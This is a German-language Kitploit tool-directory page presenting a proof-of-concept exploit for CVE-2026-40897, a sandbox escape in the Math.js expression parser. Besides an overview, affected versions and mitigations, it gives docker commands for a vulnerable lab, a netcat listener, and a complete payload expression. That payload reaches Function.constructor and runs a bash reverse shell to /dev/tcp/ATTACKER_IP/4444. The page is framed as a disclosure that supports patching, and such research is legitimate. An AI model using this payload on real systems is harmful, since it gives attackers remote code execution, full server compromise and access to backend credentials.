Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2026-40897 — Math.js Expression Parser RCE | Kitploit
Tools/GitHubGitHub/eqstlab/cve-2026-40897
Vulnerability AnalysisExploitationWeb Application ExploitationLearning & EducationRemote Access ToolPayload Development
GitHubeqstlab/cve-2026-40897

CVE-2026-40897

Math.js Expression Parser RCE

Repository anzeigen
2vor 2 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2026-40897 Remote-Code-Ausführung im Math.js-Ausdrucksparser

★ CVE-2026-40897 Remote-Code-Ausführung in Math.js PoC ★

https://github.com/user-attachments/assets/8c394039-f00a-4875-991a-fb5f40bc6898


Übersicht

CVE-2026-40897 ist eine Sandbox-Umgehung, die zu Remote-Code-Ausführung führt, eine Schwachstelle im Ausdrucksparser von Math.js. Der Filter isSafeProperty prüft nur den Zugriff auf Eigenschaften aus Benutzerausdrücken, nicht aus internen Codepfaden. Durch das Offenlegen des internen Arrays von ArrayNode über toJSON() und das Überschreiben von dessen .map kann ein Angreifer internen Code zwingen, auf Function.constructor zuzugreifen und beliebiges JavaScript auszuführen.


Betroffene Versionen

KategorieVersion
AnfälligMath.js 13.1.1 ≤ Version ≤ 15.1.1
Behoben15.2.0

Auswirkungen

  • Beliebige JavaScript-Codeausführung (RCE)
  • Zugriff auf das Host-Dateisystem
  • Reverse-Shell-Verbindung, die zur vollständigen Serverkompromittierung führt
  • Exfiltration von Backend-Anmeldedaten und sensiblen Daten

Umgebung

root@kitploit:~
docker build -t cve-2026-40897-mathjs-vuln .
docker run --rm -it -p 3000:3000 --name mathjs-vuln cve-2026-40897-mathjs-vuln

PoC

Nach dem Starten der anfälligen Umgebung befolgen Sie die folgenden Schritte, um den Angriff zu reproduzieren.

Schritt 1. Reverse-Shell-Listener starten

root@kitploit:~
nc -lvnp 4444

Schritt 2. Schadhaften Payload übermitteln

Senden Sie den folgenden Ausdruck an math.evaluate (z. B. über die Berechnungseingabe der Anwendung).

root@kitploit:~
array = reviver('',{'mathjs':'ArrayNode'}).toJSON()['items']
array.map = f(callback)=callback({'map':f2(callback2)=callback2({},'constructor'),'type':sum})
functionAssignmentNode = reviver('',{'mathjs':'FunctionAssignmentNode','name':'a','params':array,'expr':reviver('',{'mathjs':'ConstantNode'})})
func = functionAssignmentNode.toJSON()['params']['type']
shell = func('return process.mainModule.require("child_process").execSync("bash -c \'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1\'").toString()')
shell()

Schritt 3. Shell-Zugriff auf der Angreiferseite bestätigen

Der Zielserver verbindet sich zurück zum Listener des Angreifers und gewährt eine interaktive Bash-Shell.


Gegenmaßnahmen

  • Math.js auf eine gepatchte Version aktualisieren
  • Vermeiden Sie die direkte Übergabe von nicht vertrauenswürdigen Benutzereingaben an math.evaluate()
  • Schränken Sie die Offenlegung interner Funktionen/Klassen (reviver, FunctionAssignmentNode, ArrayNode) über den Ausdrucksparser ein

Analyse

  • KR: https://www.skshieldus.com/security-insights/reports/eqst-math-js-rce-cve-2026-40897
  • EN:
Tool herunterladen